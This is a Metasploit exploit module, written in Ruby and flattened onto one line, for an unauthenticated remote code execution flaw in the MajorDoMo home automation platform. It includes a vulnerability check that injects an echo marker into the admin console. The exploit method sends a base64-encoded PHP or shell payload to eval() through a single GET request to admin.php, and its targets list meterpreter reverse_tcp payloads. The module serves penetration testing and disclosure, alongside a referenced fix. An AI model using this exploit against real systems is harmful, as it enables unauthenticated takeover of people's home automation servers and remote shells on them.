## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'MajorDoMo Console Eval Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in MajorDoMo, an open-source home automation platform. The admin panel's PHP console is accessible without authentication due to a missing exit after redirect in modules/panel.class.php. The redirect("/") call intended to block unauthenticated users lacks an exit statement, so execution continues into the ajax panel handler which includes inc_panel_ajax.php unconditionally. Inside, the console handler passes the user-supplied command parameter directly to eval() via the evalConsole() function. The command, ajax_panel, and op parameters are all controllable via GET request through MajorDoMo's register_globals-style gr() function. This results in unauthenticated PHP code evaluation via a single GET request to /admin.php. All versions of MajorDoMo up to and including the latest release are affected. The fix is tracked in PR sergejey/majordomo#1177. }, 'Author' => [ 'Valentin Lobstein ' # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-27174'], ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'], ['URL', 'https://github.com/sergejey/majordomo/pull/1177'] ], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-02-18', 'DefaultOptions' => { 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']) ]) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'method' => 'GET' ) return CheckCode::Unknown('Failed to connect to the target.') unless res return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 return CheckCode::Safe('Target does not appear to be MajorDoMo') unless res.body.include?('MajorDoMo') marker = Rex::Text.rand_text_alphanumeric(16) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'method' => 'GET', 'vars_get' => { 'ajax_panel' => '1', 'op' => 'console', 'command' => "echo '#{marker}';" } ) return CheckCode::Unknown('No response to console check') unless res if res.body.include?(marker) return CheckCode::Vulnerable('Console eval is accessible without authentication') end CheckCode::Safe('Console eval is not accessible') end def exploit php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) b64 = Rex::Text.encode_base64(php_payload) command = "eval(base64_decode('#{b64}'));" vprint_status('Sending payload via console eval...') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'method' => 'GET', 'vars_get' => { 'ajax_panel' => '1', 'op' => 'console', 'command' => command } }, 5) end end